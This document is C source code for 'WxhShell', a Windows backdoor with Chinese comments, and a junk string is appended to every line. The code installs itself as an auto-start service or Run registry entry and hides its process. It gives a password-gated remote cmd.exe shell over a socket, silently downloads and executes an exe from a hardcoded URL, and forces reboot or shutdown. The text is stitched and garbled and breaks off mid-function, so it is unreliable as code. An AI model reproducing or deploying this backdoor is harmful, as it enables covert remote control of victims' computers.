    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QU417EV'  
    else { PHz/^p3F  
    closesocket(wsh); %*/?k~53  
    ExitThread(0); N>gv!z[E  
    } Ii4 Byyfx  
    break; ; 4S#6#  
    } R)<>} y  
  // 关机 3J [P(G>Q  
  case 'd': { ;w@:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~ xXB !K~C  
    if(Boot(SHUTDOWN)) >j$f$*x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s2d;601*b  
    else { 9@:&E  
    closesocket(wsh); uQ&xoDCB  
    ExitThread(0); -gC=%0sp\  
    } .JH3,L"S^  
    break; !>2s5^JI9  
    } -R:1-0I$  
  // 获取shell KH@M & >=^  
  case 's': { 0"<g g5  
    CmdShell(wsh); n#x{~oQc  
    closesocket(wsh); 3[8'pQ!&  
    ExitThread(0); <xc"y|7X  
    break; q WP1i7]=/  
  } Y$'fds4P  
  // 退出 sG^b_3o)A  
  case 'x': { 6?hv ,^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  Q.cxen  
    CloseIt(wsh); ZPMX19  
    break; (zTr/  
    } hz )L+  
  // 离开 u2!8'-Ai  
  case 'q': { ; /EH@V|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R?I(f(ib   
    closesocket(wsh); Q <78< #I  
    WSACleanup(); gp$+Qd  
    exit(1); R;,&CQUl  
    break; rl6vt*g  
        } VT+GmS  
  } i{ %~&!  
  } }TYCF@  
* y`^Fc  
  // 提示信息 ?+dI/jB4X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y6g[y\*t  
} Que)kjp  
  } SYl :X   
{Y IVHl  
  return; S Xgpj  
} y0rT=kU  
9l(e:_`_  
// shell模块句柄 D./e|i?  
int CmdShell(SOCKET sock) tuUk48!2I  
{ W_M]fjL.  
STARTUPINFO si; 4jar5Mz  
ZeroMemory(&si,sizeof(si)); Z0E+EMo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fzw6VGTf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5oORwOP  
PROCESS_INFORMATION ProcessInfo; N7Ne  
char cmdline[]="cmd"; (/FPGYu3h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b;S~`PL  
  return 0; i(YP(8  
} m ;[z)-&"  
<Oy%  
// 自身启动模式 ~tz[=3!1H  
int StartFromService(void) DhB: 8/J  
{ E9 q8tE}  
typedef struct 2Ie50U  
{ ~1}NQa(  
  DWORD ExitStatus; vwP516EM  
  DWORD PebBaseAddress; Zso .3FR,  
  DWORD AffinityMask; d eTUfbd'  
  DWORD BasePriority; qjTz]'^BpM  
  ULONG UniqueProcessId; s$`evX7D  
  ULONG InheritedFromUniqueProcessId; 5#:tL&q  
}   PROCESS_BASIC_INFORMATION; v< ;, x  
sPbtv[bC  
PROCNTQSIP NtQueryInformationProcess; rWa7"<`p  
m*["  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `ORDN|s6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ( 4b&}46  
Tk+\Biq   
  HANDLE             hProcess; ,g^Bu {?  
  PROCESS_BASIC_INFORMATION pbi; nA+[[(6  
=.tsz.:c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9}3W0F;  
  if(NULL == hInst ) return 0; /$ L;m  
1!=$3]l0Lj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'v\!}6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sgr<z d'b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &Vl,x/  
^3*gf}  
  if (!NtQueryInformationProcess) return 0; }S%a]  
2]Y (<PC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,j2qY'wi  
  if(!hProcess) return 0; !%5{jO1  
in B}ydk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KF7f<  
QmgwIz_  
  CloseHandle(hProcess); 2X6y^f';\  
d6(qc< /!r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IO,kP`Wcx  
if(hProcess==NULL) return 0; 36lIV,YnU  
9lny[{9  
HMODULE hMod; )Cx8?\/c=x  
char procName[255]; o@ ;w!'  
unsigned long cbNeeded; R_Eu*Qu j  
\ fwf\&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z.[L1AGa|s  
l;?.YtMg  
  CloseHandle(hProcess); M: `FZ}&L  
9>zN 27  
if(strstr(procName,"services")) return 1; // 以服务启动 t7-sCC0  
z*x6V0'yt  
  return 0; // 注册表启动 a>s v  
} V&GFGds  
)P|Ql-rE4  
// 主模块 }KZ/>Z;^  
int StartWxhshell(LPSTR lpCmdLine) b6Ntt Y!3  
{ 8N|*n"`}  
  SOCKET wsl; u,oxUySeG  
BOOL val=TRUE; EiT raWV"O  
  int port=0; Jr1^qY`0+  
  struct sockaddr_in door; FRfMtxvU  
s$Roe(J  
  if(wscfg.ws_autoins) Install(); ;z%& 3u/  
L.|GC7$0  
port=atoi(lpCmdLine); D Zh6/n#q  
x<= ;=893  
if(port<=0) port=wscfg.ws_port; SuuWrt}5  
7<NX;Fx  
  WSADATA data; A"9aEOX-?i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gg8T],s1!a  
dQ^k-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8vUP{f6{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MjG .Ili$m  
  door.sin_family = AF_INET; 5^%^8o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O<%U*:B  
  door.sin_port = htons(port); 0<>iMrD  
gXf_~zxS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sIELkF?.  
closesocket(wsl); {CGk5`g~  
return 1; cHR}`U$  
} -Fl3m  
4+ 4? 0R  
  if(listen(wsl,2) == INVALID_SOCKET) { X>Xpx<RY!  
closesocket(wsl); kfmIhHlYQ  
return 1; ^5GS !u"  
} t_j.@|/FZ  
  Wxhshell(wsl); ;$0za]x  
  WSACleanup(); Sb{S^w\m0  
)6AOP-M.9  
return 0; W<9G wMU  
T!;<Fy"p  
} 6J=~*&  
fA+M/}=  
// 以NT服务方式启动 A4&e#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z?7s'2w&{  
{ Rx'7tff%I  
DWORD   status = 0; O050Q5zy  
  DWORD   specificError = 0xfffffff; hSg: Rqnk  
4wNxn lP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h eh! cDK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7&sCEYEb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DO %YOv  
  serviceStatus.dwWin32ExitCode     = 0; 1,pg:=N9  
  serviceStatus.dwServiceSpecificExitCode = 0; +_`F@^R_   
  serviceStatus.dwCheckPoint       = 0; Th!S?{v   
  serviceStatus.dwWaitHint       = 0; =jG3wf*  
|E?%Cj^W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); neZ_TT/3K  
  if (hServiceStatusHandle==0) return; )p!dql K  
esLY1c%"/  
status = GetLastError(); m\~[^H~g  
  if (status!=NO_ERROR) #b8/gRfS  
{ t@4vEKw?.X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C{>?~@z&5  
    serviceStatus.dwCheckPoint       = 0; TbX ZU$[c  
    serviceStatus.dwWaitHint       = 0; zZE?G:isR  
    serviceStatus.dwWin32ExitCode     = status; -R\}Q"  
    serviceStatus.dwServiceSpecificExitCode = specificError; )s^XVs.-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\"=H4r  
    return; s5z@`M5'm  
  } :;|x'[JoE?  
a~{St v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7,O^c +  
  serviceStatus.dwCheckPoint       = 0; oVsl,V  
  serviceStatus.dwWaitHint       = 0; $[]=6.s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /\\C&Px  
} cu""vtK   
~S=hxKI  
// 处理NT服务事件,比如:启动、停止 fc\hQXYv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g.9MPN  
{ wTTQIo 60  
switch(fdwControl) J7E/2Sl  
{ s%/0WW0y^  
case SERVICE_CONTROL_STOP: ( /N`Wu  
  serviceStatus.dwWin32ExitCode = 0; ?9PNCd3$d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k}<mmKB  
  serviceStatus.dwCheckPoint   = 0; U O[p   
  serviceStatus.dwWaitHint     = 0; m<076O4|`  
  { hA~}6Qn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [S9nF  
  } $23R%8j   
  return; Y< M}'t  
case SERVICE_CONTROL_PAUSE: %EVg.k$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OZv&{_b_  
  break; UcK!v*3E  
case SERVICE_CONTROL_CONTINUE: ^^?ECnpcU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 979L]H#  
  break; e%f8|3<6  
case SERVICE_CONTROL_INTERROGATE: B j*X_m  
  break; Q2#)Jx\6!  
};  $hN!DHz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , D&FCs%v  
} nF//y}  
=RV$8.Xp  
// 标准应用程序主函数 @lBH@HR=C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %ZZ}TUI W  
{ ho:,~ A;k  
a<HM|dcst  
// 获取操作系统版本 y24 0 +;a  
OsIsNt=GetOsVer(); u(lq9; ;Th  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dvxH:,  
X'3F79`  
  // 从命令行安装 =lffr?#&B  
  if(strpbrk(lpCmdLine,"iI")) Install(); c''!&;[!  
D1Fc7! TV  
  // 下载执行文件 J}.p6E~j  
if(wscfg.ws_downexe) { [Q%3=pm_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {<|0M%v  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?pVODnP k  
} > h:~*g  
!AMPA*  
if(!OsIsNt) { $MR{3-  
// 如果时win9x,隐藏进程并且设置为注册表启动 }wUF#  
HideProc(); xW^<.@Agm  
StartWxhshell(lpCmdLine); oZzE.Q1T  
} &2c?g1%  
else z#-&MJ  
  if(StartFromService()) t qER;L  
  // 以服务方式启动 2Hq!YsJ4]  
  StartServiceCtrlDispatcher(DispatchTable); c(eu[vj:  
else ricDP 9#a  
  // 普通方式启动 >uUbWKn3  
  StartWxhshell(lpCmdLine); 0_Y;r{3m"  
_mn4z+  
return 0; jUfc&bi3  
} z3$PrK%  
EoY570PN  
T&{EqsI=B  
7%F9.h  
=========================================== $AX!L+<!  
u4Xrvfb,  
ZBnf?fU  
[qb#>P2G3  
2R1W[,Ga!  
+-{H T+W  
" K3@UoR  
lw Kr$X4  
#include <stdio.h> ME7JU|@Z  
#include <string.h> D)mqe-%1  
#include <windows.h> vUCU%>F  
#include <winsock2.h>  a1j 6-p  
#include <winsvc.h> Jl4zj>8~  
#include <urlmon.h> =izB :  
&KD m5p  
#pragma comment (lib, "Ws2_32.lib") _-h3>.;h9  
#pragma comment (lib, "urlmon.lib") ;=E3f^'s  
KQ2]VN"?_  
#define MAX_USER   100 // 最大客户端连接数 E.BMm/WH  
#define BUF_SOCK   200 // sock buffer 3)`}#`T  
#define KEY_BUFF   255 // 输入 buffer  %RJW@~!  
6x.#K9@q4  
#define REBOOT     0   // 重启 <CH7jbK  
#define SHUTDOWN   1   // 关机 L1J"_.=P  
LUCpZ3F1  
#define DEF_PORT   5000 // 监听端口 / AW]12_  
. Bv;Zv  
#define REG_LEN     16   // 注册表键长度 jgC/  
#define SVC_LEN     80   // NT服务名长度 J M`uIVnNA  
uL1-@D,  
// 从dll定义API )v'DQAL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #kxg|G[Ol  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u'iOa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /njN*rhx&Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ap=_odW~p  
rfK%%-  
// wxhshell配置信息 ~Ipl'cE  
struct WSCFG { :,cSEST  
  int ws_port;         // 监听端口 Ok,hm.|  
  char ws_passstr[REG_LEN]; // 口令 e0aeiG$/0  
  int ws_autoins;       // 安装标记, 1=yes 0=no '|6j1i0x  
  char ws_regname[REG_LEN]; // 注册表键名 Yr0%ZYfN  
  char ws_svcname[REG_LEN]; // 服务名 V%3K")  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z43H]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UZXnABg,J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {o;J'yjre1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |KkVt]ZQe9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oS]XE!^M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dzp9BRS 2f  
1[^2f70n  
}; 8_:jPd! 3  
+nZx{d,wt  
// default Wxhshell configuration !,I}2,1%k  
struct WSCFG wscfg={DEF_PORT, B!9<c9/ P]  
    "xuhuanlingzhe", dhV =;'   
    1, 9GCxF`OB  
    "Wxhshell", UoBu0Rx  
    "Wxhshell", F|Ou5WD  
            "WxhShell Service", p>!`JU`{?  
    "Wrsky Windows CmdShell Service", ;Qw>&24h[  
    "Please Input Your Password: ", F_@PSA+  
  1, )<!y_;$A  
  "http://www.wrsky.com/wxhshell.exe", obY5taOw  
  "Wxhshell.exe" 5B"j\TwQ  
    };  O'_D*?  
#N7@p }P  
// 消息定义模块 "tm2YUG},s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W4X=.vr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K /. ;N.9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >/-<,,<\C  
char *msg_ws_ext="\n\rExit."; @m#7E4 +  
char *msg_ws_end="\n\rQuit."; 02bv0  
char *msg_ws_boot="\n\rReboot..."; ^cX);koO  
char *msg_ws_poff="\n\rShutdown..."; %e=BC^VW  
char *msg_ws_down="\n\rSave to "; m~%IHWO'  
{Pdy KgM  
char *msg_ws_err="\n\rErr!"; J6=*F;x6E  
char *msg_ws_ok="\n\rOK!"; iN=-N=  
N^:)U"9*e  
char ExeFile[MAX_PATH]; bW[Y:}Hk~  
int nUser = 0; !,|yrB&`S  
HANDLE handles[MAX_USER]; 29}(l#S}m  
int OsIsNt; qm8[ ^jO&  
]iYjS  
SERVICE_STATUS       serviceStatus; td%EbxJK]`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V"k*PLt  
Y}ITA=L7  
// 函数声明 2Fp.m}42i(  
int Install(void); DzH1q r  
int Uninstall(void); 1dHN<xy  
int DownloadFile(char *sURL, SOCKET wsh); "Q-TLN5(  
int Boot(int flag); c]#F^(-A`  
void HideProc(void); ub7|'+5  
int GetOsVer(void); T =_Hd  
int Wxhshell(SOCKET wsl); yB,$4:C  
void TalkWithClient(void *cs); 4E<iIA\x  
int CmdShell(SOCKET sock); 6 [w_ /X"  
int StartFromService(void); A6pPx1-&  
int StartWxhshell(LPSTR lpCmdLine); <4D.P2ct  
%^kBcId  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |3QKxS0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A^*0{F?,)  
o[&*vc)  
// 数据结构和表定义 4f'1g1@$  
SERVICE_TABLE_ENTRY DispatchTable[] = 'z>|N{-xG  
{ FK{Vnj0  
{wscfg.ws_svcname, NTServiceMain}, ]u G9WT6l  
{NULL, NULL} L;wzvz\+  
}; hZ[,.  
M9M~[[   
// 自我安装 o@XhL9  
int Install(void) hCuUX)>Bt  
{ j/ow8Jmc*  
  char svExeFile[MAX_PATH]; ,_F@9Up  
  HKEY key; ^FIpkhw  
  strcpy(svExeFile,ExeFile); #2^eGhwnI  
2mRm.e9?  
// 如果是win9x系统,修改注册表设为自启动 bM+}j+0  
if(!OsIsNt) { <My4 )3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1-.6psE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D!^&*Ia?2  
  RegCloseKey(key); :Z3Tyj}4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L9W'TvTwo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lpv Z[^G  
  RegCloseKey(key); o]u,<bM$  
  return 0; tHgu#k0  
    } *S%~0=  
  } x2%xrlv<J/  
} =c8xg/  
else { }(FF^Mh  
S ( e]@  
// 如果是NT以上系统,安装为系统服务 DI"KH)XD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  vtk0 j  
if (schSCManager!=0) /m"O.17N  
{ `bY>f_5+  
  SC_HANDLE schService = CreateService Utd`T+AF*  
  ( r01Z 0>  
  schSCManager, ae_Y?g+3  
  wscfg.ws_svcname, R6eKI,y\"  
  wscfg.ws_svcdisp, NGIt~"e7R4  
  SERVICE_ALL_ACCESS, `n)e] dn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vgKZr  
  SERVICE_AUTO_START, Gl; xd  
  SERVICE_ERROR_NORMAL, =r:(ga  
  svExeFile, HQGn[7JW  
  NULL, A6eIf  
  NULL, O*jTrZ(k  
  NULL, ( y0  
  NULL, rr~O6Db  
  NULL 5 6w6=Is  
  ); N hG?@N  
  if (schService!=0) icS% ])3LF  
  { )09>#!*  
  CloseServiceHandle(schService); W2yNwB+{  
  CloseServiceHandle(schSCManager); nM#/uuRl|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N(c`h  
  strcat(svExeFile,wscfg.ws_svcname); #$n >+ lc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gV~_m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^hZZ5(</8P  
  RegCloseKey(key); w eX%S&#?  
  return 0; _?~EWT   
    } F)K&a  
  } #w]UP#^io  
  CloseServiceHandle(schSCManager); y Ny,$1  
} H. o=4[  
} BLaF++Fop  
uE E;~`G  
return 1; ERTjY%A  
} }B1f_T  
D`c&Q4$:  
// 自我卸载 AcHr X=O  
int Uninstall(void) aoqG*qh}b  
{ [Z]%jABR  
  HKEY key; \0 j-p   
2 Sgv  
if(!OsIsNt) { Oz{FM6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z; 6N7U  
  RegDeleteValue(key,wscfg.ws_regname); d%,@,>>)  
  RegCloseKey(key); "~2SHM@q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?COLjk  
  RegDeleteValue(key,wscfg.ws_regname); zy'e|92aO  
  RegCloseKey(key); E5iNuJj=f  
  return 0; -sqd?L.p  
  } .o#A(3&n  
} _|jEuif  
} ZX0#I W  
else { 0q6xXNAX  
CXiDe)|<E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n?(sn  
if (schSCManager!=0) {Qba`lOkq  
{ z&wJ"[nOC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &TT vX% T  
  if (schService!=0) He9Er  
  { /Z| K9a  
  if(DeleteService(schService)!=0) { u(W>HVEG  
  CloseServiceHandle(schService); vC^Ul  
  CloseServiceHandle(schSCManager); QtHK`f>4#n  
  return 0; [zJ|61^  
  } joA>-k04  
  CloseServiceHandle(schService); lJvfgP-j  
  } ^#gJf*'UE  
  CloseServiceHandle(schSCManager); B%n|%g6K|h  
} B=}s7$^  
} J.(mg D  
N(J'h$E  
return 1; 6w `.'5  
} ]!>tP,<`'  
H-iCaXT  
// 从指定url下载文件 PiIP%$72O  
int DownloadFile(char *sURL, SOCKET wsh) ##6u  
{ Ak kth*p  
  HRESULT hr; )">uI\bi  
char seps[]= "/"; oM^VtH=>  
char *token; >PYc57S1c  
char *file; }D]y -BbA.  
char myURL[MAX_PATH]; j4wsDtmAU  
char myFILE[MAX_PATH]; " M3S  
A'aYH`j  
strcpy(myURL,sURL); sK@]|9ciQ  
  token=strtok(myURL,seps); dv cLZK  
  while(token!=NULL) 50e vWD  
  { uCHM  
    file=token; :sX4hZK =G  
  token=strtok(NULL,seps); 9 lXnNK |]  
  } qTz5P  
9\Md.>  
GetCurrentDirectory(MAX_PATH,myFILE); 1\aV4T  
strcat(myFILE, "\\"); K BlJJH`z{  
strcat(myFILE, file); /$d #9Uv  
  send(wsh,myFILE,strlen(myFILE),0); PDpuHHB  
send(wsh,"...",3,0); GYrUB59  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ly`\TnC  
  if(hr==S_OK) R$x(3eyx  
return 0; KFBBqP  
else *X!+wK-+  
return 1; Gvl,M\c9-  
4axuE]  
} t>vr3)W  
mtf><YU  
// 系统电源模块 1RauI0d*  
int Boot(int flag) BsR3$  
{ *+%$OH,  
  HANDLE hToken; I6i qC"BK  
  TOKEN_PRIVILEGES tkp; jZk dTiI  
?aQVaw&L!7  
  if(OsIsNt) { rRX F@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -amNz.`[PR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *JOp)e0b  
    tkp.PrivilegeCount = 1; )}J}d)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TB_OFbI2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =, 64Qbau  
if(flag==REBOOT) { &`}d;r|yn1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yu jv^2/  
  return 0; A |P wm`  
} z(#CO<C.t  
else { J;k8 a2$_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E J&w6),d  
  return 0; h ^Wm03w  
} )_kU,RvZ  
  } YRu/KUT$ 7  
  else { VVe^s|~Z  
if(flag==REBOOT) { RgD:"zeM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XzW\p8D^u  
  return 0; L*6>S_l[  
} ;ykX]5jGh  
else { bSW~hyI w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8w ]'U  
  return 0; zUA -  
} G%dzJpC(  
} Z*Fn2I4  
# ';b>J  
return 1; ),@m 3wQ  
} *iUR1V Y  
g6h=Q3@  
// win9x进程隐藏模块 ;y;UgwAM  
void HideProc(void) l]L"Ex{  
{ WS+uKb^<  
L4<=,}KS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (Bss%\  
  if ( hKernel != NULL ) +;a\ gF^  
  { au+ a7~0~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /BrbP7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;It1i`!R  
    FreeLibrary(hKernel); ahR-^^'$  
  } p[%B#(]9,  
?:7.3{|Aq  
return; vv D515i  
} q+)s  
]x@36Ok)A  
// 获取操作系统版本 rW2l+:@c  
int GetOsVer(void) -e.ygiK.`S  
{  -K4uqUp  
  OSVERSIONINFO winfo; Lw6}b B`}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HHZrovA#  
  GetVersionEx(&winfo); Ku8qn \2"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }q)dXFL=I#  
  return 1; +L pMNnl6  
  else 85{@&T  
  return 0; V7?Pv Q  
} 2SYV2  
nC\LDeKc  
// 客户端句柄模块 N#^o,/  
int Wxhshell(SOCKET wsl) K>Tv M&  
{ w_#5Na}>d  
  SOCKET wsh; ?V})2wwP  
  struct sockaddr_in client; m$bNQ7  
  DWORD myID; ~./M5P!\  
WE&"W$0  
  while(nUser<MAX_USER) m</nOf+C  
{ Zv8G[(  
  int nSize=sizeof(client); 9U!#Y%*T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ekz)Nh)vGR  
  if(wsh==INVALID_SOCKET) return 1; ~GjM:*  
B0!W=T\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G:;(,  
if(handles[nUser]==0) FD^s5>"Y+  
  closesocket(wsh); mg *kB:p  
else #.<(/D+  
  nUser++; AeEF/*  
  } bAL!l\&2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A"T*uv|  
T]?QCf  
  return 0; B3yp2tncj  
} +w+qTZyky  
xcN >L  
// 关闭 socket ] dHV^!  
void CloseIt(SOCKET wsh) WC 5v#*Jd  
{ y_Nn%(j  
closesocket(wsh); +WSM<S2 U  
nUser--; ;%Zn)etu  
ExitThread(0); ~'/_q4  
} 5OX5\#Ux  
_"sFLe{  
// 客户端请求句柄 !,N),xG}~  
void TalkWithClient(void *cs) S.NLxb/  
{ `L {dF  
Sv03="&  
  SOCKET wsh=(SOCKET)cs; }'Yk#Q  
  char pwd[SVC_LEN]; N,u~ZEI  
  char cmd[KEY_BUFF]; f"A?\w @  
char chr[1]; ,7izrf8  
int i,j; lof}isOz  
&^JY  
  while (nUser < MAX_USER) { Z sbE  
]}jY] l  
if(wscfg.ws_passstr) { +X7+:QQ }  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T\o!^|8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YGr^uTQb  
  //ZeroMemory(pwd,KEY_BUFF); uM9RlI5  
      i=0; /,2${$c!  
  while(i<SVC_LEN) { {;ur~KE  
X&({`Uw<K  
  // 设置超时 06vxsT@  
  fd_set FdRead; }5sJd>u5^  
  struct timeval TimeOut; 1R"ymWg"  
  FD_ZERO(&FdRead); 9-N*Jhg  
  FD_SET(wsh,&FdRead); yX;v   
  TimeOut.tv_sec=8; DmgWIede|:  
  TimeOut.tv_usec=0; 7I<];j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F#$[jh$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ejC== Fkc  
X8=s k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *27*&&=)H  
  pwd=chr[0]; m' suAj0  
  if(chr[0]==0xd || chr[0]==0xa) { 6GtXM3qtS  
  pwd=0; qlfYX8edZ  
  break; XxEKv=_bc  
  } LVp*YOq7  
  i++; ]Vgl  
    } do(komP<\  
b<mxf\b  
  // 如果是非法用户,关闭 socket /=2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qd$!?h  
} j{u! /FD  
rocG;$[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :$>TeCm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rw\S-z/  
. ;q 4<_  
while(1) { :]oRx  
@q]{s+#Xf  
  ZeroMemory(cmd,KEY_BUFF); 2u|} gZts  
GwaU7[6  
      // 自动支持客户端 telnet标准   G\:^9!nwY~  
  j=0; 1V37% D  
  while(j<KEY_BUFF) { V_"K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Em*yc@WD  
  cmd[j]=chr[0]; GP\Pk/E  
  if(chr[0]==0xa || chr[0]==0xd) { -w:F8k ~  
  cmd[j]=0; 7J@D})si  
  break; Ii9@ j1-g  
  } )pA N_e"  
  j++; Q1?G7g]N  
    } 9@."Y>1G  
+aWI"d--h  
  // 下载文件 4_w+NI,;  
  if(strstr(cmd,"http://")) { &18CCp\3)c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); __,1;=  
  if(DownloadFile(cmd,wsh)) 1 k}U+  
